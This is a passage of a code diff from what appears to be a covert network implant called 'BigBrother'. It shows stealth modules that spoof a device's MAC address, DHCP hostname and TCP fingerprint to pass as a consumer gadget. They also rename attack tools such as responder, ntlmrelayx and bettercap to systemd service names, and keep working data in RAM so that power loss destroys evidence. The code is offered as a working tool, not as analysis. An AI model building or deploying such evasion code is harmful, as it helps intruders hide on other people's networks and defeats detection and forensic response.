# Save originals for restore on stop
|
||||||
|
if self._eth_iface:
|
||||||
|
try:
|
||||||
|
self._original_eth_mac = get_mac(self._eth_iface)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if self._wifi_iface:
|
||||||
|
try:
|
||||||
|
self._original_wifi_mac = get_mac(self._wifi_iface)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Select and apply profile
|
||||||
|
self._profile = self._select_profile()
|
||||||
|
if self._profile is None:
|
||||||
|
logger.warning("No MAC profile found — using random consumer OUI fallback")
|
||||||
|
self._profile = self._fallback_profile()
|
||||||
|
|
||||||
|
self._apply_profile(self._profile)
|
||||||
|
|
||||||
|
# Persist for other modules
|
||||||
|
self.state.set(self.name, "profile", json.dumps(self._profile))
|
||||||
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"MAC profile applied: %s (%s) — MAC %s, hostname %s",
|
||||||
|
self._profile.get("device_name", "unknown"),
|
||||||
|
self._profile.get("vendor", "unknown"),
|
||||||
|
self._profile.get("applied_mac", "?"),
|
||||||
|
self._profile.get("dhcp_hostname", "?"),
|
||||||
|
)
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Restore original MACs on clean exit
|
||||||
|
try:
|
||||||
|
if self._eth_iface and self._original_eth_mac:
|
||||||
|
set_mac(self._eth_iface, self._original_eth_mac)
|
||||||
|
if self._wifi_iface and self._original_wifi_mac:
|
||||||
|
set_mac(self._wifi_iface, self._original_wifi_mac)
|
||||||
|
except Exception as exc:
|
||||||
|
logger.warning("Failed to restore original MAC: %s", exc)
|
||||||
|
|
||||||
|
self._cleanup_dhclient_conf()
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("MacManager stopped — original MACs restored")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
base = {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
}
|
||||||
|
if self._profile:
|
||||||
|
base["profile_name"] = self._profile.get("device_name", "unknown")
|
||||||
|
base["applied_mac"] = self._profile.get("applied_mac", "unknown")
|
||||||
|
base["dhcp_hostname"] = self._profile.get("dhcp_hostname", "unknown")
|
||||||
|
if self._eth_iface:
|
||||||
|
try:
|
||||||
|
base["current_eth_mac"] = get_mac(self._eth_iface)
|
||||||
|
except Exception:
|
||||||
|
base["current_eth_mac"] = "error"
|
||||||
|
return base
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if self._running:
|
||||||
|
# Re-select and apply on config change
|
||||||
|
self._profile = self._select_profile()
|
||||||
|
if self._profile:
|
||||||
|
self._apply_profile(self._profile)
|
||||||
|
self.state.set(self.name, "profile", json.dumps(self._profile))
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Profile selection
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _resolve_db_path(self) -> str:
|
||||||
|
"""Locate innocuous_macs.db relative to project root."""
|
||||||
|
candidates = [
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "data", "innocuous_macs.db"),
|
||||||
|
"/opt/.cache/bb/data/innocuous_macs.db",
|
||||||
|
]
|
||||||
|
for p in candidates:
|
||||||
|
resolved = os.path.realpath(p)
|
||||||
|
if os.path.isfile(resolved):
|
||||||
|
return resolved
|
||||||
|
# Default — will be created/populated by setup
|
||||||
|
return os.path.realpath(candidates[0])
|
||||||
|
|
||||||
|
def _select_profile(self) -> Optional[dict]:
|
||||||
|
"""Select a MAC profile from the database based on config."""
|
||||||
|
if not os.path.isfile(self._db_path):
|
||||||
|
logger.warning("innocuous_macs.db not found at %s", self._db_path)
|
||||||
|
return None
|
||||||
|
|
||||||
|
stealth_cfg = self.config.get("stealth", {})
|
||||||
|
mac_profile = stealth_cfg.get("mac_profile", "auto")
|
||||||
|
network_type = stealth_cfg.get("mac_network_type", "auto")
|
||||||
|
|
||||||
|
conn = sqlite3.connect(self._db_path)
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
try:
|
||||||
|
if mac_profile not in ("auto", None) and mac_profile not in _CATEGORY_MAP:
|
||||||
|
# Specific device name requested
|
||||||
|
row = conn.execute(
|
||||||
|
"SELECT * FROM mac_profiles WHERE device_name = ? LIMIT 1",
|
||||||
|
(mac_profile,),
|
||||||
|
).fetchone()
|
||||||
|
if row:
|
||||||
|
return dict(row)
|
||||||
|
|
||||||
|
# Category-based selection
|
||||||
|
if mac_profile == "auto" or mac_profile is None:
|
||||||
|
categories = self._pick_categories(network_type)
|
||||||
|
else:
|
||||||
|
categories = _CATEGORY_MAP.get(mac_profile, _DEFAULT_CATEGORIES)
|
||||||
|
|
||||||
|
placeholders = ",".join("?" for _ in categories)
|
||||||
|
rows = conn.execute(
|
||||||
|
f"SELECT * FROM mac_profiles WHERE device_type IN ({placeholders})",
|
||||||
|
categories,
|
||||||
|
).fetchall()
|
||||||
|
if rows:
|
||||||
|
return dict(random.choice(rows))
|
||||||
|
return None
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
def _pick_categories(self, network_type: str) -> tuple:
|
||||||
|
"""Choose device categories appropriate for the network type."""
|
||||||
|
if network_type == "business":
|
||||||
|
cat_keys = _BUSINESS_CATEGORIES
|
||||||
|
elif network_type == "home":
|
||||||
|
cat_keys = _HOME_CATEGORIES
|
||||||
|
else:
|
||||||
|
# Auto: default safe categories
|
||||||
|
cat_keys = _DEFAULT_CATEGORIES
|
||||||
|
|
||||||
|
types = []
|
||||||
|
for key in cat_keys:
|
||||||
|
types.extend(_CATEGORY_MAP.get(key, ()))
|
||||||
|
return tuple(types)
|
||||||
|
|
||||||
|
def _fallback_profile(self) -> dict:
|
||||||
|
"""Generate a plausible fallback profile without the database."""
|
||||||
|
# Amazon Fire TV Stick OUI
|
||||||
|
oui = "FC:65:DE"
|
||||||
|
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||||
|
return {
|
||||||
|
"device_type": "streaming",
|
||||||
|
"vendor": "Amazon",
|
||||||
|
"device_name": "Fire TV Stick 4K",
|
||||||
|
"oui": oui,
|
||||||
|
"dhcp_hostname": "amazon-fire-tv",
|
||||||
|
"dhcp_vendor_class": "amazon-fire-tv-stick",
|
||||||
|
"ttl": 64,
|
||||||
|
"tcp_window": 65535,
|
||||||
|
}
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Apply profile to system
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _apply_profile(self, profile: dict) -> None:
|
||||||
|
"""Set MAC, DHCP config, TCP stack to match the selected profile."""
|
||||||
|
oui = profile.get("oui", "FC:65:DE")
|
||||||
|
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||||
|
new_mac = f"{oui}:{suffix}"
|
||||||
|
profile["applied_mac"] = new_mac
|
||||||
|
|
||||||
|
# Set MAC on Ethernet
|
||||||
|
if self._eth_iface:
|
||||||
|
try:
|
||||||
|
set_mac(self._eth_iface, new_mac)
|
||||||
|
logger.debug("Set %s MAC to %s", self._eth_iface, new_mac)
|
||||||
|
except Exception as exc:
|
||||||
|
logger.error("Failed to set MAC on %s: %s", self._eth_iface, exc)
|
||||||
|
|
||||||
|
# Set MAC on WiFi (different suffix for uniqueness)
|
||||||
|
if self._wifi_iface:
|
||||||
|
wifi_suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||||
|
wifi_mac = f"{oui}:{wifi_suffix}"
|
||||||
|
try:
|
||||||
|
set_mac(self._wifi_iface, wifi_mac)
|
||||||
|
profile["applied_wifi_mac"] = wifi_mac
|
||||||
|
logger.debug("Set %s MAC to %s", self._wifi_iface, wifi_mac)
|
||||||
|
except Exception as exc:
|
||||||
|
logger.error("Failed to set WiFi MAC on %s: %s", self._wifi_iface, exc)
|
||||||
|
|
||||||
|
# DHCP configuration
|
||||||
|
self._write_dhclient_conf(profile)
|
||||||
|
|
||||||
|
# TCP stack tuning
|
||||||
|
ttl = profile.get("ttl", 64)
|
||||||
|
tcp_win = profile.get("tcp_window", 65535)
|
||||||
|
set_ttl(ttl)
|
||||||
|
set_tcp_window(tcp_win)
|
||||||
|
set_tcp_timestamps(True) # Most consumer devices have timestamps enabled
|
||||||
|
|
||||||
|
logger.debug("TCP stack: TTL=%d, window=%d", ttl, tcp_win)
|
||||||
|
|
||||||
|
def _write_dhclient_conf(self, profile: dict) -> None:
|
||||||
|
"""Write dhclient.conf with hostname + vendor class matching the profile."""
|
||||||
|
hostname = profile.get("dhcp_hostname", "localhost")
|
||||||
|
vendor_class = profile.get("dhcp_vendor_class", "")
|
||||||
|
|
||||||
|
conf_path = "/etc/dhcp/dhclient.conf.d"
|
||||||
|
conf_file = os.path.join(conf_path, "bb-profile.conf")
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.makedirs(conf_path, exist_ok=True)
|
||||||
|
lines = [
|
||||||
|
f'send host-name "{hostname}";',
|
||||||
|
]
|
||||||
|
if vendor_class:
|
||||||
|
lines.append(f'send vendor-class-identifier "{vendor_class}";')
|
||||||
|
|
||||||
|
with open(conf_file, "w") as f:
|
||||||
|
f.write("\n".join(lines) + "\n")
|
||||||
|
|
||||||
|
logger.debug("Wrote DHCP config: hostname=%s, vendor=%s", hostname, vendor_class)
|
||||||
|
except (IOError, PermissionError) as exc:
|
||||||
|
logger.warning("Failed to write dhclient.conf: %s", exc)
|
||||||
|
|
||||||
|
def _cleanup_dhclient_conf(self) -> None:
|
||||||
|
"""Remove our DHCP config on clean exit."""
|
||||||
|
conf_file = "/etc/dhcp/dhclient.conf.d/bb-profile.conf"
|
||||||
|
try:
|
||||||
|
if os.path.isfile(conf_file):
|
||||||
|
os.unlink(conf_file)
|
||||||
|
except (IOError, PermissionError):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,179 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Process disguise module — rename all BigBrother processes to look like
|
||||||
|
legitimate system services.
|
||||||
|
|
||||||
|
Reads process name mappings from stealth.yaml, renames own processes via
|
||||||
|
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
|
||||||
|
processes as they start.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
from typing import Dict, Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
from utils.stealth import rename_process, spoof_cmdline
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.stealth.process_disguise")
|
||||||
|
|
||||||
|
|
||||||
|
class ProcessDisguise(BaseModule):
|
||||||
|
"""Rename all managed processes to innocuous system service names."""
|
||||||
|
|
||||||
|
name = "process_disguise"
|
||||||
|
module_type = "stealth"
|
||||||
|
priority = -400
|
||||||
|
requires_root = False
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._name_map: Dict[str, str] = {} # original -> disguised
|
||||||
|
self._disguised_pids: Dict[int, str] = {} # pid -> fake_name
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Load process name mappings from stealth.yaml config
|
||||||
|
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||||
|
self._name_map = stealth_cfg.get("process_names", {})
|
||||||
|
if not self._name_map:
|
||||||
|
# Fallback defaults matching stealth.yaml
|
||||||
|
self._name_map = {
|
||||||
|
"python3": "systemd-thermald",
|
||||||
|
"bettercap": "networkd-dispatcher",
|
||||||
|
"tcpdump": "systemd-netlogd",
|
||||||
|
"responder": "systemd-resolved",
|
||||||
|
"mitmproxy": "systemd-networkd",
|
||||||
|
"ntlmrelayx": "systemd-logind",
|
||||||
|
"hostapd": "wpa_supplicant",
|
||||||
|
"dnsmasq": "systemd-resolved",
|
||||||
|
}
|
||||||
|
|
||||||
|
# Disguise own process first
|
||||||
|
own_fake = self._name_map.get("python3", "systemd-thermald")
|
||||||
|
self._apply_disguise(os.getpid(), own_fake)
|
||||||
|
|
||||||
|
# Spoof /proc/self/cmdline
|
||||||
|
spoof_cmdline(own_fake)
|
||||||
|
|
||||||
|
# Subscribe to bus events for auto-disguise
|
||||||
|
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||||
|
self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
|
||||||
|
len(self._name_map), os.getpid(), own_fake,
|
||||||
|
)
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||||
|
self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
with self._lock:
|
||||||
|
pids_snapshot = dict(self._disguised_pids)
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"disguised_pids": pids_snapshot,
|
||||||
|
"total_disguised": len(pids_snapshot),
|
||||||
|
"name_mappings": len(self._name_map),
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
new_names = config.get("stealth_yaml", {}).get("process_names")
|
||||||
|
if new_names:
|
||||||
|
self._name_map.update(new_names)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API for other modules / tool_manager
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def disguise_pid(self, pid: int, name: str) -> bool:
|
||||||
|
"""Disguise an arbitrary PID with the given fake name.
|
||||||
|
|
||||||
|
Called by tool_manager or other modules to rename external processes.
|
||||||
|
For external processes, we write to /proc/PID/comm (requires root or
|
||||||
|
same user).
|
||||||
|
"""
|
||||||
|
return self._apply_disguise(pid, name)
|
||||||
|
|
||||||
|
def get_fake_name(self, original_name: str) -> str:
|
||||||
|
"""Look up the disguise name for a process. Returns original if no mapping."""
|
||||||
|
return self._name_map.get(original_name, original_name)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Event handlers
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _on_module_started(self, event) -> None:
|
||||||
|
"""Auto-disguise newly started module processes."""
|
||||||
|
payload = event.payload
|
||||||
|
pid = payload.get("pid")
|
||||||
|
module_name = payload.get("module", "")
|
||||||
|
|
||||||
|
if pid and pid != os.getpid():
|
||||||
|
# Python modules get the python3 disguise name
|
||||||
|
fake = self._name_map.get("python3", "systemd-thermald")
|
||||||
|
self._apply_disguise(pid, fake)
|
||||||
|
logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)
|
||||||
|
|
||||||
|
def _on_tool_restarted(self, event) -> None:
|
||||||
|
"""Re-disguise restarted tool processes."""
|
||||||
|
payload = event.payload
|
||||||
|
pid = payload.get("pid")
|
||||||
|
tool_name = payload.get("tool", "")
|
||||||
|
|
||||||
|
if pid:
|
||||||
|
fake = self._name_map.get(tool_name, tool_name)
|
||||||
|
self._apply_disguise(pid, fake)
|
||||||
|
logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Internal
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _apply_disguise(self, pid: int, fake_name: str) -> bool:
|
||||||
|
"""Apply a process name disguise to the given PID."""
|
||||||
|
success = False
|
||||||
|
|
||||||
|
if pid == os.getpid():
|
||||||
|
# Own process — use prctl
|
||||||
|
success = rename_process(fake_name)
|
||||||
|
else:
|
||||||
|
# External process — write to /proc/PID/comm
|
||||||
|
try:
|
||||||
|
comm_path = f"/proc/{pid}/comm"
|
||||||
|
with open(comm_path, "w") as f:
|
||||||
|
f.write(fake_name[:15])
|
||||||
|
success = True
|
||||||
|
except (IOError, PermissionError, FileNotFoundError) as exc:
|
||||||
|
logger.debug("Cannot disguise PID %d: %s", pid, exc)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
with self._lock:
|
||||||
|
self._disguised_pids[pid] = fake_name
|
||||||
|
|
||||||
|
return success
|
||||||
@@ -0,0 +1,273 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""tmpfs manager — RAM-backed mounts for sensitive operations.
|
||||||
|
|
||||||
|
Creates tmpfs mounts for working directories, runtime state, and SQLite WAL
|
||||||
|
files. Power loss = instant evidence destruction since tmpfs is RAM-only.
|
||||||
|
Size limits are tier-aware (OPi Zero 3: 200MB, Pi Zero: 30MB, generic: 512MB).
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Dict, List, Optional, Tuple
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.stealth.tmpfs_manager")
|
||||||
|
|
||||||
|
# Default tmpfs size limits per tier (MB)
|
||||||
|
_TIER_TMPFS_LIMITS = {
|
||||||
|
TIER_OPI_ZERO3: 200,
|
||||||
|
TIER_PI_ZERO: 30,
|
||||||
|
TIER_GENERIC: 512,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class TmpfsManager(BaseModule):
|
||||||
|
"""Manage tmpfs mounts for RAM-only sensitive storage."""
|
||||||
|
|
||||||
|
name = "tmpfs_manager"
|
||||||
|
module_type = "stealth"
|
||||||
|
priority = -450
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._mounts: Dict[str, dict] = {} # mount_point -> {size_mb, purpose}
|
||||||
|
self._install_path: str = ""
|
||||||
|
self._tier_limit_mb: int = 200
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._install_path = self.config.get("device", {}).get(
|
||||||
|
"install_path", "/opt/.cache/bb"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Determine tier-based tmpfs limit
|
||||||
|
tier = get_hardware_tier()
|
||||||
|
hw_tiers = self.config.get("hardware_tiers", {})
|
||||||
|
tier_cfg = hw_tiers.get(tier, {})
|
||||||
|
self._tier_limit_mb = tier_cfg.get(
|
||||||
|
"overlayfs_mb",
|
||||||
|
_TIER_TMPFS_LIMITS.get(tier, 200),
|
||||||
|
) or _TIER_TMPFS_LIMITS.get(tier, 200)
|
||||||
|
|
||||||
|
# Create and mount tmpfs volumes
|
||||||
|
tmp_path = os.path.join(self._install_path, "tmp")
|
||||||
|
run_path = os.path.join(self._install_path, "run")
|
||||||
|
|
||||||
|
# Split budget: 70% for tmp (working data), 30% for run (runtime state)
|
||||||
|
tmp_size = int(self._tier_limit_mb * 0.7)
|
||||||
|
run_size = int(self._tier_limit_mb * 0.3)
|
||||||
|
|
||||||
|
self._mount_tmpfs(tmp_path, tmp_size, "general tmpfs working directory")
|
||||||
|
self._mount_tmpfs(run_path, run_size, "runtime state")
|
||||||
|
|
||||||
|
# Create standard subdirectories
|
||||||
|
for subdir in ("wal", "work", "modules"):
|
||||||
|
os.makedirs(os.path.join(tmp_path, subdir), exist_ok=True)
|
||||||
|
for subdir in ("pids", "sockets", "locks"):
|
||||||
|
os.makedirs(os.path.join(run_path, subdir), exist_ok=True)
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"TmpfsManager active — %d mounts, tier=%s, budget=%dMB",
|
||||||
|
len(self._mounts), tier, self._tier_limit_mb,
|
||||||
|
)
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Unmount in reverse order (most recently mounted first)
|
||||||
|
for mount_point in reversed(list(self._mounts.keys())):
|
||||||
|
self._unmount_tmpfs(mount_point)
|
||||||
|
|
||||||
|
self._mounts.clear()
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("TmpfsManager stopped — all tmpfs mounts removed")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
mounts_info = []
|
||||||
|
for mount_point, info in self._mounts.items():
|
||||||
|
entry = {
|
||||||
|
"mount_point": mount_point,
|
||||||
|
"size_mb": info["size_mb"],
|
||||||
|
"purpose": info["purpose"],
|
||||||
|
}
|
||||||
|
# Get current usage
|
||||||
|
try:
|
||||||
|
stat = os.statvfs(mount_point)
|
||||||
|
total = stat.f_blocks * stat.f_frsize
|
||||||
|
free = stat.f_bavail * stat.f_frsize
|
||||||
|
used = total - free
|
||||||
|
entry["used_mb"] = round(used / (1024 * 1024), 1)
|
||||||
|
entry["free_mb"] = round(free / (1024 * 1024), 1)
|
||||||
|
entry["used_pct"] = round((used / total) * 100, 1) if total > 0 else 0
|
||||||
|
except OSError:
|
||||||
|
entry["used_mb"] = 0
|
||||||
|
entry["free_mb"] = 0
|
||||||
|
entry["used_pct"] = 0
|
||||||
|
mounts_info.append(entry)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"tier_limit_mb": self._tier_limit_mb,
|
||||||
|
"mount_count": len(self._mounts),
|
||||||
|
"mounts": mounts_info,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def get_tmp_path(self) -> Optional[str]:
|
||||||
|
"""Return the general tmpfs working directory, or None if not mounted."""
|
||||||
|
path = os.path.join(self._install_path, "tmp")
|
||||||
|
return path if path in self._mounts else None
|
||||||
|
|
||||||
|
def get_run_path(self) -> Optional[str]:
|
||||||
|
"""Return the runtime state tmpfs path, or None if not mounted."""
|
||||||
|
path = os.path.join(self._install_path, "run")
|
||||||
|
return path if path in self._mounts else None
|
||||||
|
|
||||||
|
def get_wal_path(self) -> Optional[str]:
|
||||||
|
"""Return the WAL file tmpfs directory for SQLite databases."""
|
||||||
|
tmp = self.get_tmp_path()
|
||||||
|
if tmp:
|
||||||
|
wal_dir = os.path.join(tmp, "wal")
|
||||||
|
return wal_dir if os.path.isdir(wal_dir) else None
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_module_workdir(self, module_name: str) -> Optional[str]:
|
||||||
|
"""Get or create a per-module working directory on tmpfs."""
|
||||||
|
tmp = self.get_tmp_path()
|
||||||
|
if not tmp:
|
||||||
|
return None
|
||||||
|
workdir = os.path.join(tmp, "modules", module_name)
|
||||||
|
os.makedirs(workdir, exist_ok=True)
|
||||||
|
return workdir
|
||||||
|
|
||||||
|
def symlink_wal(self, db_path: str) -> bool:
|
||||||
|
"""Symlink a SQLite WAL file from its storage location to tmpfs.
|
||||||
|
|
||||||
|
Call this after creating/opening a SQLite database so the WAL file
|
||||||
|
lives in RAM instead of on disk.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db_path: Path to the .db file (the WAL will be at db_path + '-wal')
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if the symlink was created successfully.
|
||||||
|
"""
|
||||||
|
wal_dir = self.get_wal_path()
|
||||||
|
if not wal_dir:
|
||||||
|
return False
|
||||||
|
|
||||||
|
wal_source = db_path + "-wal"
|
||||||
|
db_name = os.path.basename(db_path)
|
||||||
|
wal_target = os.path.join(wal_dir, db_name + "-wal")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Remove existing WAL if present
|
||||||
|
if os.path.exists(wal_source) and not os.path.islink(wal_source):
|
||||||
|
os.unlink(wal_source)
|
||||||
|
|
||||||
|
# Create symlink: storage/foo.db-wal -> tmpfs/wal/foo.db-wal
|
||||||
|
if not os.path.islink(wal_source):
|
||||||
|
os.symlink(wal_target, wal_source)
|
||||||
|
|
||||||
|
# Also handle the -shm file
|
||||||
|
shm_source = db_path + "-shm"
|
||||||
|
shm_target = os.path.join(wal_dir, db_name + "-shm")
|
||||||
|
if os.path.exists(shm_source) and not os.path.islink(shm_source):
|
||||||
|
os.unlink(shm_source)
|
||||||
|
if not os.path.islink(shm_source):
|
||||||
|
os.symlink(shm_target, shm_source)
|
||||||
|
|
||||||
|
logger.debug("WAL symlinked: %s -> %s", wal_source, wal_target)
|
||||||
|
return True
|
||||||
|
except (IOError, OSError) as exc:
|
||||||
|
logger.warning("Failed to symlink WAL for %s: %s", db_path, exc)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Internal mount management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _mount_tmpfs(self, mount_point: str, size_mb: int, purpose: str) -> bool:
|
||||||
|
"""Create a tmpfs mount at the given path."""
|
||||||
|
try:
|
||||||
|
os.makedirs(mount_point, exist_ok=True)
|
||||||
|
|
||||||
|
# Check if already mounted
|
||||||
|
if self._is_mounted(mount_point):
|
||||||
|
logger.debug("Already mounted: %s", mount_point)
|
||||||
|
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
|
||||||
|
return True
|
||||||
|
|
||||||
|
subprocess.run(
|
||||||
|
["mount", "-t", "tmpfs", "-o", f"size={size_mb}m,mode=0700,nodev,nosuid",
|
||||||
|
"tmpfs", mount_point],
|
||||||
|
check=True, capture_output=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
|
||||||
|
logger.debug("Mounted tmpfs: %s (%dMB) — %s", mount_point, size_mb, purpose)
|
||||||
|
return True
|
||||||
|
except (subprocess.CalledProcessError, OSError) as exc:
|
||||||
|
logger.error("Failed to mount tmpfs at %s: %s", mount_point, exc)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _unmount_tmpfs(self, mount_point: str) -> bool:
|
||||||
|
"""Unmount a tmpfs mount."""
|
||||||
|
try:
|
||||||
|
if self._is_mounted(mount_point):
|
||||||
|
subprocess.run(
|
||||||
|
["umount", "-l", mount_point], # lazy unmount for safety
|
||||||
|
check=True, capture_output=True,
|
||||||
|
)
|
||||||
|
logger.debug("Unmounted tmpfs: %s", mount_point)
|
||||||
|
|
||||||
|
# Clean up the directory
|
||||||
|
try:
|
||||||
|
os.rmdir(mount_point)
|
||||||
|
except OSError:
|
||||||
|
pass # Directory may not be empty or may not exist
|
||||||
|
|
||||||
|
return True
|
||||||
|
except subprocess.CalledProcessError as exc:
|
||||||
|
logger.warning("Failed to unmount %s: %s", mount_point, exc)
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _is_mounted(path: str) -> bool:
|
||||||
|
"""Check if a path is a mount point."""
|
||||||
|
try:
|
||||||
|
with open("/proc/mounts", "r") as f:
|
||||||
|
for line in f:
|
||||||
|
fields = line.split()
|
||||||
|
if len(fields) >= 2 and fields[1] == path:
|
||||||
|
return True
|
||||||
|
except IOError:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
@@ -0,0 +1,348 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Watchdog module — monitor all BigBrother modules and managed tools.
|
||||||
|
|
||||||
|
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
|
||||||
|
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
|
||||||
|
successful recovery.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import signal
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from typing import Dict, Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
from core.bus import Event
|
||||||
|
from utils.resource import get_process_resources
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.stealth.watchdog")
|
||||||
|
|
||||||
|
# OOM priority assignments by module type
|
||||||
|
